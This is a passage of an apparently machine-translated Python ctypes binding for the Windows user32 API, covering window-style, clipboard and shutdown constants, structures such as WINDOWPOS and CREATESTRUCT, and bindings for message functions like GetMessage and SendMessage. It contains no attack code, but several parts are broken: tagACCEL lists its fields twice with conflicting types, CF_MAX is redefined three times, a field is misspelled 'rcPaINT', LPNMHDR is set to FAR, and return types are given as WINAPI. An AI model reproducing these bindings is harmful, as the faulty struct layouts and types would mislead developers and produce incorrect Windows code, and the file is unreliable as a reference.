0x0000033F\nWM_HANDHELDFIRST = 0x00000358\nWM_HANDHELDLAST = 0x0000035F\nWM_AFXFIRST = 0x00000360\nWM_AFXLAST = 0x0000037F\nWM_PENWINFIRST = 0x00000380\nWM_PENWINLAST = 0x0000038F\nWM_APP = 0x00008000\nWM_USER = 0x00000400\nWMSZ_LEFT = 0x00000001\nWMSZ_RIGHT = 0x00000002\nWMSZ_TOP = 0x00000003\nWMSZ_TOPLEFT = 0x00000004\nWMSZ_TOPRIGHT = 0x00000005\nWMSZ_BOTTOM = 0x00000006\nWMSZ_BOTTOMLEFT = 0x00000007\nWMSZ_BOTTOMRIGHT = 0x00000008\nHTERROR = -2\nHTTRANSPARENT = -1\nHTNOWHERE = 0x00000000\nHTCLIENT = 0x00000001\nHTCAPTION = 0x00000002\nHTSYSMENU = 0x00000003\nHTGROWBOX = 0x00000004\nHTSIZE = HTGROWBOX\nHTMENU = 0x00000005\nHTHSCROLL = 0x00000006\nHTVSCROLL = 0x00000007\nHTMINBUTTON = 0x00000008\nHTMAXBUTTON = 0x00000009\nHTLEFT = 0x0000000A\nHTRIGHT = 0x0000000B\nHTTOP = 0x0000000C\nHTTOPLEFT = 0x0000000D\nHTTOPRIGHT = 0x0000000E\nHTBOTTOM = 0x0000000F\nHTBOTTOMLEFT = 0x00000010\nHTBOTTOMRIGHT = 0x00000011\nHTBORDER = 0x00000012\nHTREDUCE = HTMINBUTTON\nHTZOOM = HTMAXBUTTON\nHTSIZEFIRST = HTLEFT\nHTSIZELAST = HTBOTTOMRIGHT\nHTOBJECT = 0x00000013\nHTCLOSE = 0x00000014\nHTHELP = 0x00000015\nSMTO_NORMAL = 0x00000000\nSMTO_BLOCK = 0x00000001\nSMTO_ABORTIFHUNG = 0x00000002\nSMTO_NOTIMEOUTIFNOTHUNG = 0x00000008\nSMTO_ERRORONEXIT = 0x00000020\nMA_ACTIVATE = 0x00000001\nMA_ACTIVATEANDEAT = 0x00000002\nMA_NOACTIVATE = 0x00000003\nMA_NOACTIVATEANDEAT = 0x00000004\nICON_SMALL = 0x00000000\nICON_BIG = 0x00000001\nICON_SMALL2 = 0x00000002\n\n# WINAPI\n# RegisterWindowMessageA(\n# _In_ LPCSTR lpString);\nRegisterWindowMessageA = user32.RegisterWindowMessageA\nRegisterWindowMessageA.restype = WINAPI\n\n\n# WINAPI\n# RegisterWindowMessageW(\n# _In_ LPCWSTR lpString);\nRegisterWindowMessageW = user32.RegisterWindowMessageW\nRegisterWindowMessageW.restype = WINAPI\n\nRegisterWindowMessage = RegisterWindowMessageW\n# RegisterWindowMessage = RegisterWindowMessageA\nSIZE_RESTORED = 0x00000000\nSIZE_MINIMIZED = 0x00000001\nSIZE_MAXIMIZED = 0x00000002\nSIZE_MAXSHOW = 0x00000003\nSIZE_MAXHIDE = 0x00000004\nSIZENORMAL = SIZE_RESTORED\nSIZEICONIC = SIZE_MINIMIZED\nSIZEFULLSCREEN = SIZE_MAXIMIZED\nSIZEZOOMSHOW = SIZE_MAXSHOW\nSIZEZOOMHIDE = SIZE_MAXHIDE\n\nclass tagWINDOWPOS(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('hwndInsertAfter', HWND),\n ('x', INT),\n ('y', INT),\n ('cx', INT),\n ('cy', INT),\n ('flags', UINT),\n ]\n\n\nWINDOWPOS = tagWINDOWPOS\nLPWINDOWPOS = POINTER(tagWINDOWPOS)\nPWINDOWPOS = POINTER(tagWINDOWPOS)\n\n\n\nclass tagNCCALCSIZE_PARAMS(ctypes.Structure):\n _fields_ = [\n ('rgrc', RECT * 3),\n ('lppos', PWINDOWPOS),\n ]\n\n\nNCCALCSIZE_PARAMS = tagNCCALCSIZE_PARAMS\nLPNCCALCSIZE_PARAMS = POINTER(tagNCCALCSIZE_PARAMS)\n\n\nWVR_ALIGNTOP = 0x00000010\nWVR_ALIGNLEFT = 0x00000020\nWVR_ALIGNBOTTOM = 0x00000040\nWVR_ALIGNRIGHT = 0x00000080\nWVR_HREDRAW = 0x00000100\nWVR_VREDRAW = 0x00000200\nWVR_REDRAW = WVR_HREDRAW | WVR_VREDRAW\nWVR_VALIDRECTS = 0x00000400\nMK_LBUTTON = 0x00000001\nMK_RBUTTON = 0x00000002\nMK_SHIFT = 0x00000004\nMK_CONTROL = 0x00000008\nMK_MBUTTON = 0x00000010\nMK_XBUTTON1 = 0x00000020\nMK_XBUTTON2 = 0x00000040\nTME_HOVER = 0x00000001\nTME_LEAVE = 0x00000002\nTME_NONCLIENT = 0x00000010\nTME_QUERY = 0x40000000\nTME_CANCEL = 0x80000000\nHOVER_DEFAULT = 0xFFFFFFFF\n\nclass tagTRACKMOUSEEVENT(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwFlags', DWORD),\n ('hwndTrack', HWND),\n ('dwHoverTime', DWORD),\n ]\n\n\nTRACKMOUSEEVENT = tagTRACKMOUSEEVENT\nLPTRACKMOUSEEVENT = POINTER(tagTRACKMOUSEEVENT)\n\n\n\n# WINAPI\n# TrackMouseEvent(\n# _Inout_ LPTRACKMOUSEEVENT lpEventTrack);\nTrackMouseEvent = user32.TrackMouseEvent\nTrackMouseEvent.restype = WINAPI\n\nWS_OVERLAPPED = 0x00000000\nWS_POPUP = 0x80000000\nWS_CHILD = 0x40000000\nWS_MINIMIZE = 0x20000000\nWS_VISIBLE = 0x10000000\nWS_DISABLED = 0x08000000\nWS_CLIPSIBLINGS = 0x04000000\nWS_CLIPCHILDREN = 0x02000000\nWS_MAXIMIZE = 0x01000000\nWS_CAPTION = 0x00C00000\nWS_BORDER = 0x00800000\nWS_DLGFRAME = 0x00400000\nWS_VSCROLL = 0x00200000\nWS_HSCROLL = 0x00100000\nWS_SYSMENU = 0x00080000\nWS_THICKFRAME = 0x00040000\nWS_GROUP = 0x00020000\nWS_TABSTOP = 0x00010000\nWS_MINIMIZEBOX = 0x00020000\nWS_MAXIMIZEBOX = 0x00010000\nWS_TILED = WS_OVERLAPPED\nWS_ICONIC = WS_MINIMIZE\nWS_SIZEBOX = WS_THICKFRAME\nWS_OVERLAPPEDWINDOW = (\n WS_OVERLAPPED |\n WS_CAPTION |\n WS_SYSMENU |\n WS_THICKFRAME |\n WS_MINIMIZEBOX |\n WS_MAXIMIZEBOX\n)\nWS_TILEDWINDOW = WS_OVERLAPPEDWINDOW\nWS_POPUPWINDOW = WS_POPUP | WS_BORDER | WS_SYSMENU\nWS_CHILDWINDOW = WS_CHILD\nWS_EX_DLGMODALFRAME = 0x00000001\nWS_EX_NOPARENTNOTIFY = 0x00000004\nWS_EX_TOPMOST = 0x00000008\nWS_EX_ACCEPTFILES = 0x00000010\nWS_EX_TRANSPARENT = 0x00000020\nWS_EX_MDICHILD = 0x00000040\nWS_EX_TOOLWINDOW = 0x00000080\nWS_EX_WINDOWEDGE = 0x00000100\nWS_EX_CLIENTEDGE = 0x00000200\nWS_EX_CONTEXTHELP = 0x00000400\nWS_EX_RIGHT = 0x00001000\nWS_EX_LEFT = 0x00000000\nWS_EX_RTLREADING = 0x00002000\nWS_EX_LTRREADING = 0x00000000\nWS_EX_LEFTSCROLLBAR = 0x00004000\nWS_EX_RIGHTSCROLLBAR = 0x00000000\nWS_EX_CONTROLPARENT = 0x00010000\nWS_EX_STATICEDGE = 0x00020000\nWS_EX_APPWINDOW = 0x00040000\nWS_EX_OVERLAPPEDWINDOW = WS_EX_WINDOWEDGE | WS_EX_CLIENTEDGE\nWS_EX_PALETTEWINDOW = WS_EX_WINDOWEDGE | WS_EX_TOOLWINDOW | WS_EX_TOPMOST\nWS_EX_LAYERED = 0x00080000\nWS_EX_NOINHERITLAYOUT = 0x00100000\nWS_EX_NOREDIRECTIONBITMAP = 0x00200000\nWS_EX_LAYOUTRTL = 0x00400000\nWS_EX_COMPOSITED = 0x02000000\nWS_EX_NOACTIVATE = 0x08000000\nCS_VREDRAW = 0x00000001\nCS_HREDRAW = 0x00000002\nCS_DBLCLKS = 0x00000008\nCS_OWNDC = 0x00000020\nCS_CLASSDC = 0x00000040\nCS_PARENTDC = 0x00000080\nCS_NOCLOSE = 0x00000200\nCS_SAVEBITS = 0x00000800\nCS_BYTEALIGNCLIENT = 0x00001000\nCS_BYTEALIGNWINDOW = 0x00002000\nCS_GLOBALCLASS = 0x00004000\nCS_IME = 0x00010000\nCS_DROPSHADOW = 0x00020000\nPRF_CHECKVISIBLE = 0x00000001\nPRF_NONCLIENT = 0x00000002\nPRF_CLIENT = 0x00000004\nPRF_ERASEBKGND = 0x00000008\nPRF_CHILDREN = 0x00000010\nPRF_OWNED = 0x00000020\nBDR_RAISEDOUTER = 0x00000001\nBDR_SUNKENOUTER = 0x00000002\nBDR_RAISEDINNER = 0x00000004\nBDR_SUNKENINNER = 0x00000008\nBDR_OUTER = BDR_RAISEDOUTER | BDR_SUNKENOUTER\nBDR_INNER = BDR_RAISEDINNER | BDR_SUNKENINNER\nBDR_RAISED = BDR_RAISEDOUTER | BDR_RAISEDINNER\nBDR_SUNKEN = BDR_SUNKENOUTER | BDR_SUNKENINNER\nEDGE_RAISED = BDR_RAISEDOUTER | BDR_RAISEDINNER\nEDGE_SUNKEN = BDR_SUNKENOUTER | BDR_SUNKENINNER\nEDGE_ETCHED = BDR_SUNKENOUTER | BDR_RAISEDINNER\nEDGE_BUMP = BDR_RAISEDOUTER | BDR_SUNKENINNER\nBF_LEFT = 0x00000001\nBF_TOP = 0x00000002\nBF_RIGHT = 0x00000004\nBF_BOTTOM = 0x00000008\nBF_TOPLEFT = BF_TOP | BF_LEFT\nBF_TOPRIGHT = BF_TOP | BF_RIGHT\nBF_BOTTOMLEFT = BF_BOTTOM | BF_LEFT\nBF_BOTTOMRIGHT = BF_BOTTOM | BF_RIGHT\nBF_RECT = BF_LEFT | BF_TOP | BF_RIGHT | BF_BOTTOM\nBF_DIAGONAL = 0x00000010\nBF_DIAGONAL_ENDTOPRIGHT = BF_DIAGONAL | BF_TOP | BF_RIGHT\nBF_DIAGONAL_ENDTOPLEFT = BF_DIAGONAL | BF_TOP | BF_LEFT\nBF_DIAGONAL_ENDBOTTOMLEFT = BF_DIAGONAL | BF_BOTTOM | BF_LEFT\nBF_DIAGONAL_ENDBOTTOMRIGHT = BF_DIAGONAL | BF_BOTTOM | BF_RIGHT\nBF_MIDDLE = 0x00000800\nBF_SOFT = 0x00001000\nBF_ADJUST = 0x00002000\nBF_FLAT = 0x00004000\nBF_MONO = 0x00008000\n\n# WINAPI\n# DrawEdge(\n# _In_ HDC hdc,\n# _Inout_ LPRECT qrc,\n# _In_ UINT edge,\n# _In_ UINT grfFlags);\nDrawEdge = user32.DrawEdge\nDrawEdge.restype = WINAPI\n\nDFC_CAPTION = 0x00000001\nDFC_MENU = 0x00000002\nDFC_SCROLL = 0x00000003\nDFC_BUTTON = 0x00000004\nDFC_POPUPMENU = 0x00000005\nDFCS_CAPTIONCLOSE = 0x00000000\nDFCS_CAPTIONMIN = 0x00000001\nDFCS_CAPTIONMAX = 0x00000002\nDFCS_CAPTIONRESTORE = 0x00000003\nDFCS_CAPTIONHELP = 0x00000004\nDFCS_MENUARROW = 0x00000000\nDFCS_MENUCHECK = 0x00000001\nDFCS_MENUBULLET = 0x00000002\nDFCS_MENUARROWRIGHT = 0x00000004\nDFCS_SCROLLUP = 0x00000000\nDFCS_SCROLLDOWN = 0x00000001\nDFCS_SCROLLLEFT = 0x00000002\nDFCS_SCROLLRIGHT = 0x00000003\nDFCS_SCROLLCOMBOBOX = 0x00000005\nDFCS_SCROLLSIZEGRIP = 0x00000008\nDFCS_SCROLLSIZEGRIPRIGHT = 0x00000010\nDFCS_BUTTONCHECK = 0x00000000\nDFCS_BUTTONRADIOIMAGE = 0x00000001\nDFCS_BUTTONRADIOMASK = 0x00000002\nDFCS_BUTTONRADIO = 0x00000004\nDFCS_BUTTON3STATE = 0x00000008\nDFCS_BUTTONPUSH = 0x00000010\nDFCS_INACTIVE = 0x00000100\nDFCS_PUSHED = 0x00000200\nDFCS_CHECKED = 0x00000400\nDFCS_TRANSPARENT = 0x00000800\nDFCS_HOT = 0x00001000\nDFCS_ADJUSTRECT = 0x00002000\nDFCS_FLAT = 0x00004000\nDFCS_MONO = 0x00008000\n\n# WINAPI\n# DrawFrameControl(\n# _In_ HDC,\n# _Inout_ LPRECT,\n# _In_ UINT,\n# _In_ UINT);\nDrawFrameControl = user32.DrawFrameControl\nDrawFrameControl.restype = WINAPI\n\nDC_ACTIVE = 0x00000001\nDC_SMALLCAP = 0x00000002\nDC_ICON = 0x00000004\nDC_TEXT = 0x00000008\nDC_INBUTTON = 0x00000010\nDC_GRADIENT = 0x00000020\nDC_BUTTONS = 0x00001000\n\n# WINAPI\n# DrawCaption(\n# _In_ HWND hwnd,\n# _In_ HDC hdc,\n# _In_ CONST RECT * lprect,\n# _In_ UINT flags);\nDrawCaption = user32.DrawCaption\nDrawCaption.restype = WINAPI\n\nIDANI_OPEN = 0x00000001\nIDANI_CAPTION = 0x00000003\n\n# WINAPI\n# DrawAnimatedRects(\n# _In_opt_ HWND hwnd,\n# _In_ INT idAni,\n# _In_ CONST RECT *lprcFrom,\n# _In_ CONST RECT *lprcTo);\nDrawAnimatedRects = user32.DrawAnimatedRects\nDrawAnimatedRects.restype = WINAPI\n\nCF_TEXT = 0x00000001\nCF_BITMAP = 0x00000002\nCF_METAFILEPICT = 0x00000003\nCF_SYLK = 0x00000004\nCF_DIF = 0x00000005\nCF_TIFF = 0x00000006\nCF_OEMTEXT = 0x00000007\nCF_DIB = 0x00000008\nCF_PALETTE = 0x00000009\nCF_PENDATA = 0x0000000A\nCF_RIFF = 0x0000000B\nCF_WAVE = 0x0000000C\nCF_UNICODETEXT = 0x0000000D\nCF_ENHMETAFILE = 0x0000000E\nCF_HDROP = 0x0000000F\nCF_LOCALE = 0x00000010\nCF_DIBV5 = 0x00000011\nCF_MAX = 0x00000012\nCF_MAX = 0x00000011\nCF_MAX = 0x0000000F\nCF_OWNERDISPLAY = 0x00000080\nCF_DSPTEXT = 0x00000081\nCF_DSPBITMAP = 0x00000082\nCF_DSPMETAFILEPICT = 0x00000083\nCF_DSPENHMETAFILE = 0x0000008E\nCF_PRIVATEFIRST = 0x00000200\nCF_PRIVATELAST = 0x000002FF\nCF_GDIOBJFIRST = 0x00000300\nCF_GDIOBJLAST = 0x000003FF\nFVIRTKEY = TRUE\nFNOINVERT = 0x00000002\nFSHIFT = 0x00000004\nFCONTROL = 0x00000008\nFALT = 0x00000010\n\nclass tagACCEL(ctypes.Structure):\n _fields_ = [\n ('fVirt', BYTE),\n ('key', WORD),\n ('cmd', WORD),\n ('fVirt', WORD),\n ('key', WORD),\n ('cmd', DWORD),\n ]\n\n\nACCEL = tagACCEL\nLPACCEL = POINTER(tagACCEL)\n\n\n\nclass tagPAINTSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hdc', HDC),\n ('fErase', BOOL),\n ('rcPaINT', RECT),\n ('fRestore', BOOL),\n ('fIncUpdate', BOOL),\n ('rgbReserved', BYTE * 32),\n ]\n\n\nPAINTSTRUCT = tagPAINTSTRUCT\nPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\nNPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\nLPPAINTSTRUCT = POINTER(tagPAINTSTRUCT)\n\n\n\nclass tagCREATESTRUCTA(ctypes.Structure):\n _fields_ = [\n ('lpCreateParams', LPVOID),\n ('hInstance', HINSTANCE),\n ('hMenu', HMENU),\n ('hwndParent', HWND),\n ('cy', INT),\n ('cx', INT),\n ('y', INT),\n ('x', INT),\n ('style', LONG),\n ('lpszName', LPCSTR),\n ('lpszClass', LPCSTR),\n ('dwExStyle', DWORD),\n ]\n\n\nCREATESTRUCTA = tagCREATESTRUCTA\nLPCREATESTRUCTA = POINTER(tagCREATESTRUCTA)\n\n\n\nclass tagCREATESTRUCTW(ctypes.Structure):\n _fields_ = [\n ('lpCreateParams', LPVOID),\n ('hInstance', HINSTANCE),\n ('hMenu', HMENU),\n ('hwndParent', HWND),\n ('cy', INT),\n ('cx', INT),\n ('y', INT),\n ('x', INT),\n ('style', LONG),\n ('lpszName', LPCWSTR),\n ('lpszClass', LPCWSTR),\n ('dwExStyle', DWORD),\n ]\n\n\nCREATESTRUCTW = tagCREATESTRUCTW\nLPCREATESTRUCTW = POINTER(tagCREATESTRUCTW)\n\ntagCBT_CREATEWNDA._fields_ = [\n ('lpcs', POINTER(tagCREATESTRUCTA)),\n ('hwndInsertAfter', HWND),\n]\ntagCBT_CREATEWNDW._fields_ = [\n ('lpcs', POINTER(tagCREATESTRUCTW)),\n ('hwndInsertAfter', HWND),\n]\n\nCREATESTRUCT = CREATESTRUCTW\nLPCREATESTRUCT = LPCREATESTRUCTW\n\nclass tagWINDOWPLACEMENT(ctypes.Structure):\n _fields_ = [\n ('length', UINT),\n ('flags', UINT),\n ('showCmd', UINT),\n ('ptMinPosition', POINT),\n ('ptMaxPosition', POINT),\n ('rcNormalPosition', RECT),\n ('rcDevice', RECT),\n ]\n\n\nWINDOWPLACEMENT = tagWINDOWPLACEMENT\n\n\nPWINDOWPLACEMENT = POINTER(WINDOWPLACEMENT)\nLPWINDOWPLACEMENT = POINTER(WINDOWPLACEMENT)\nWPF_SETMINPOSITION = 0x00000001\nWPF_RESTORETOMAXIMIZED = 0x00000002\nWPF_ASYNCWINDOWPLACEMENT = 0x00000004\n\nclass tagNMHDR(ctypes.Structure):\n _fields_ = [\n ('hwndFrom', HWND),\n ('idFrom', UINT_PTR),\n ('code', UINT),\n ]\n\n\nNMHDR = tagNMHDR\n\n\nLPNMHDR = FAR\n\nclass tagSTYLESTRUCT(ctypes.Structure):\n _fields_ = [\n ('styleOld', DWORD),\n ('styleNew', DWORD),\n ]\n\n\nSTYLESTRUCT = tagSTYLESTRUCT\nLPSTYLESTRUCT = POINTER(tagSTYLESTRUCT)\n\n\nODT_MENU = 0x00000001\nODT_LISTBOX = 0x00000002\nODT_COMBOBOX = 0x00000003\nODT_BUTTON = 0x00000004\nODT_STATIC = 0x00000005\nODA_DRAWENTIRE = 0x00000001\nODA_SELECT = 0x00000002\nODA_FOCUS = 0x00000004\nODS_SELECTED = 0x00000001\nODS_GRAYED = 0x00000002\nODS_DISABLED = 0x00000004\nODS_CHECKED = 0x00000008\nODS_FOCUS = 0x00000010\nODS_DEFAULT = 0x00000020\nODS_COMBOBOXEDIT = 0x00001000\nODS_HOTLIGHT = 0x00000040\nODS_INACTIVE = 0x00000080\nODS_NOACCEL = 0x00000100\nODS_NOFOCUSRECT = 0x00000200\n\nclass tagMEASUREITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('itemWidth', UINT),\n ('itemHeight', UINT),\n ('itemData', ULONG_PTR),\n ]\n\n\nMEASUREITEMSTRUCT = tagMEASUREITEMSTRUCT\nPMEASUREITEMSTRUCT = POINTER(tagMEASUREITEMSTRUCT)\nLPMEASUREITEMSTRUCT = POINTER(tagMEASUREITEMSTRUCT)\n\n\n\nclass tagDRAWITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('itemAction', UINT),\n ('itemState', UINT),\n ('hwndItem', HWND),\n ('hDC', HDC),\n ('rcItem', RECT),\n ('itemData', ULONG_PTR),\n ]\n\n\nDRAWITEMSTRUCT = tagDRAWITEMSTRUCT\nPDRAWITEMSTRUCT = POINTER(tagDRAWITEMSTRUCT)\nLPDRAWITEMSTRUCT = POINTER(tagDRAWITEMSTRUCT)\n\n\n\nclass tagDELETEITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('itemID', UINT),\n ('hwndItem', HWND),\n ('itemData', ULONG_PTR),\n ]\n\n\nDELETEITEMSTRUCT = tagDELETEITEMSTRUCT\nPDELETEITEMSTRUCT = POINTER(tagDELETEITEMSTRUCT)\nLPDELETEITEMSTRUCT = POINTER(tagDELETEITEMSTRUCT)\n\n\n\nclass tagCOMPAREITEMSTRUCT(ctypes.Structure):\n _fields_ = [\n ('CtlType', UINT),\n ('CtlID', UINT),\n ('hwndItem', HWND),\n ('itemID1', UINT),\n ('itemData1', ULONG_PTR),\n ('itemID2', UINT),\n ('itemData2', ULONG_PTR),\n ('dwLocaleId', DWORD),\n ]\n\n\nCOMPAREITEMSTRUCT = tagCOMPAREITEMSTRUCT\nPCOMPAREITEMSTRUCT = POINTER(tagCOMPAREITEMSTRUCT)\nLPCOMPAREITEMSTRUCT = POINTER(tagCOMPAREITEMSTRUCT)\n\n\n\n# WINAPI\n# GetMessageA(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax);\nGetMessageA = user32.GetMessageA\nGetMessageA.restype = WINAPI\n\n\n# WINAPI\n# GetMessageW(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax);\nGetMessageW = user32.GetMessageW\nGetMessageW.restype = WINAPI\n\nGetMessage = GetMessageW\n# GetMessage = GetMessageA\n\n# BOOL\n# GetMessage(\n# LPMSG lpMsg,\n# HWND hWnd,\n# UINT wMsgFilterMin,\n# UINT wMsgFilterMax\n# )\n# GetMessage = user32.GetMessage\n# GetMessage.restype = BOOL\n\n\n# WINAPI\n# TranslateMessage(\n# _In_ CONST MSG *lpMsg);\nTranslateMessage = user32.TranslateMessage\nTranslateMessage.restype = WINAPI\n\n\n# WINAPI\n# DispatchMessageA(\n# _In_ CONST MSG *lpMsg);\nDispatchMessageA = user32.DispatchMessageA\nDispatchMessageA.restype = WINAPI\n\n\n# WINAPI\n# DispatchMessageW(\n# _In_ CONST MSG *lpMsg);\nDispatchMessageW = user32.DispatchMessageW\nDispatchMessageW.restype = WINAPI\n\nDispatchMessage = DispatchMessageW\n# DispatchMessage = DispatchMessageA\n\n# LRESULT\n# DispatchMessage(\n# CONST MSG *lpMsg\n# )\n# DispatchMessage = user32.DispatchMessage\n# DispatchMessage.restype = LRESULT\n\n\n# WINAPI\n# SetMessageQueue(\n# _In_ INT cMessagesMax);\nSetMessageQueue = user32.SetMessageQueue\nSetMessageQueue.restype = WINAPI\n\n\n# WINAPI\n# PeekMessageA(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax,\n# _In_ UINT wRemoveMsg);\nPeekMessageA = user32.PeekMessageA\nPeekMessageA.restype = WINAPI\n\n\n# WINAPI\n# PeekMessageW(\n# _Out_ LPMSG lpMsg,\n# _In_opt_ HWND hWnd,\n# _In_ UINT wMsgFilterMin,\n# _In_ UINT wMsgFilterMax,\n# _In_ UINT wRemoveMsg);\nPeekMessageW = user32.PeekMessageW\nPeekMessageW.restype = WINAPI\n\nPeekMessage = PeekMessageW\n# PeekMessage = PeekMessageA\n\nQS_KEY = 0x00000001\nQS_MOUSEMOVE = 0x00000002\nQS_MOUSEBUTTON = 0x00000004\nQS_POSTMESSAGE = 0x00000008\nQS_TIMER = 0x00000010\nQS_PAINT = 0x00000020\nQS_SENDMESSAGE = 0x00000040\nQS_HOTKEY = 0x00000080\nQS_ALLPOSTMESSAGE = 0x00000100\nQS_RAWINPUT = 0x00000400\nQS_TOUCH = 0x00000800\nQS_POINTER = 0x00001000\nQS_MOUSE = QS_MOUSEMOVE | QS_MOUSEBUTTON\nQS_INPUT = QS_MOUSE | QS_KEY | QS_RAWINPUT | QS_TOUCH | QS_POINTER\n\nQS_ALLEVENTS = QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY\nQS_ALLINPUT = (\n QS_INPUT |\n QS_POSTMESSAGE |\n QS_TIMER |\n QS_PAINT |\n QS_HOTKEY |\n QS_SENDMESSAGE\n)\n\nPM_NOREMOVE = 0x00000000\nPM_REMOVE = 0x00000001\nPM_NOYIELD = 0x00000002\nPM_QS_INPUT = QS_INPUT << 16\nPM_QS_POSTMESSAGE = (QS_POSTMESSAGE | QS_HOTKEY | QS_TIMER) << 16\nPM_QS_PAINT = QS_PAINT << 16\nPM_QS_SENDMESSAGE = QS_SENDMESSAGE << 16\n\n# WINAPI\n# RegisterHotKey(\n# _In_opt_ HWND hWnd,\n# _In_ INT id,\n# _In_ UINT fsModifiers,\n# _In_ UINT vk);\nRegisterHotKey = user32.RegisterHotKey\nRegisterHotKey.restype = WINAPI\n\n\n# WINAPI\n# UnregisterHotKey(\n# _In_opt_ HWND hWnd,\n# _In_ INT id);\nUnregisterHotKey = user32.UnregisterHotKey\nUnregisterHotKey.restype = WINAPI\n\nMOD_ALT = 0x00000001\nMOD_CONTROL = 0x00000002\nMOD_SHIFT = 0x00000004\nMOD_WIN = 0x00000008\nMOD_NOREPEAT = 0x00004000\nIDHOT_SNAPWINDOW = -1\nIDHOT_SNAPDESKTOP = -2\nENDSESSION_CLOSEAPP = 0x00000001\nENDSESSION_CRITICAL = 0x40000000\nENDSESSION_LOGOFF = 0x80000000\nEWX_LOGOFF = 0x00000000\nEWX_SHUTDOWN = 0x00000001\nEWX_REBOOT = 0x00000002\nEWX_FORCE = 0x00000004\nEWX_POWEROFF = 0x00000008\nEWX_FORCEIFHUNG = 0x00000010\nEWX_QUICKRESOLVE = 0x00000020\nEWX_RESTARTAPPS = 0x00000040\nEWX_HYBRID_SHUTDOWN = 0x00400000\nEWX_BOOTOPTIONS = 0x01000000\n\n\ndef ExitWindows(dwReserved, Code):\n return ExitWindowsEx(EWX_LOGOFF, 0xFFFFFFFF)\n\n# WINAPI\n# ExitWindowsEx(\n# _In_ UINT uFlags,\n# _In_ DWORD dwReason);\nExitWindowsEx = user32.ExitWindowsEx\nExitWindowsEx.restype = WINAPI\n\n\n# WINAPI\n# SwapMouseButton(\n# _In_ BOOL fSwap);\nSwapMouseButton = user32.SwapMouseButton\nSwapMouseButton.restype = WINAPI\n\n\n# WINAPI\n# GetMessagePos(\n# VOID);\nGetMessagePos = user32.GetMessagePos\nGetMessagePos.restype = WINAPI\n\n\n# WINAPI\n# GetMessageTime(\n# VOID);\nGetMessageTime = user32.GetMessageTime\nGetMessageTime.restype = WINAPI\n\n\n# WINAPI\n# GetMessageExtraInfo(\n# VOID);\nGetMessageExtraInfo = user32.GetMessageExtraInfo\nGetMessageExtraInfo.restype = WINAPI\n\n\n# WINAPI\n# GetUnpredictedMessagePos(\n# VOID);\nGetUnpredictedMessagePos = user32.GetUnpredictedMessagePos\nGetUnpredictedMessagePos.restype = WINAPI\n\n\n# WINAPI\n# IsWow64Message(\n# VOID);\nIsWow64Message = user32.IsWow64Message\nIsWow64Message.restype = WINAPI\n\n\n# WINAPI\n# SetMessageExtraInfo(\n# _In_ LPARAM lParam);\nSetMessageExtraInfo = user32.SetMessageExtraInfo\nSetMessageExtraInfo.restype = WINAPI\n\n\n# WINAPI\n# SendMessageA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _Pre_maybenull_ _Post_valid_ WPARAM wParam,\n# _Pre_maybenull_ _Post_valid_ LPARAM lParam);\nSendMessageA = user32.SendMessageA\nSendMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendMessageW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _Pre_maybenull_ _Post_valid_ WPARAM wParam,\n# _Pre_maybenull_ _Post_valid_ LPARAM lParam);\nSendMessageW = user32.SendMessageW\nSendMessageW.restype = WINAPI\n\nSendMessage = SendMessageW\n# SendMessage = SendMessageA\n\n# LRESULT\n# SendMessage(\n# HWND hWnd,\n# UINT Msg,\n# WPARAM wParam,\n# LPARAM lParam\n# )\nSendMessage = user32.SendMessage\nSendMessage.restype = LRESULT\n\n\n# WINAPI\n# SendMessageTimeoutA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ UINT fuFlags,\n# _In_ UINT uTimeout,\n# _Out_opt_ PDWORD_PTR lpdwResult);\nSendMessageTimeoutA = user32.SendMessageTimeoutA\nSendMessageTimeoutA.restype = WINAPI\n\n\n# WINAPI\n# SendMessageTimeoutW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ UINT fuFlags,\n# _In_ UINT uTimeout,\n# _Out_opt_ PDWORD_PTR lpdwResult);\nSendMessageTimeoutW = user32.SendMessageTimeoutW\nSendMessageTimeoutW.restype = WINAPI\n\nSendMessageTimeout = SendMessageTimeoutW\n# SendMessageTimeout = SendMessageTimeoutA\n\n# WINAPI\n# SendNotifyMessageA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendNotifyMessageA = user32.SendNotifyMessageA\nSendNotifyMessageA.restype = WINAPI\n\n\n# WINAPI\n# SendNotifyMessageW(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam);\nSendNotifyMessageW = user32.SendNotifyMessageW\nSendNotifyMessageW.restype = WINAPI\n\nSendNotifyMessage = SendNotifyMessageW\n# SendNotifyMessage = SendNotifyMessageA\n\n# WINAPI\n# SendMessageCallbackA(\n# _In_ HWND hWnd,\n# _In_ UINT Msg,\n# _In_ WPARAM wParam,\n# _In_ LPARAM lParam,\n# _In_ SENDASYNCPROC lpResultCallBack,\n# _In_ ULONG_PTR dwData);\nSendMessageCallbackA = user32.SendMessageCallbackA\nSendMessageCallbackA.restype = WINAPI\n\n\n# 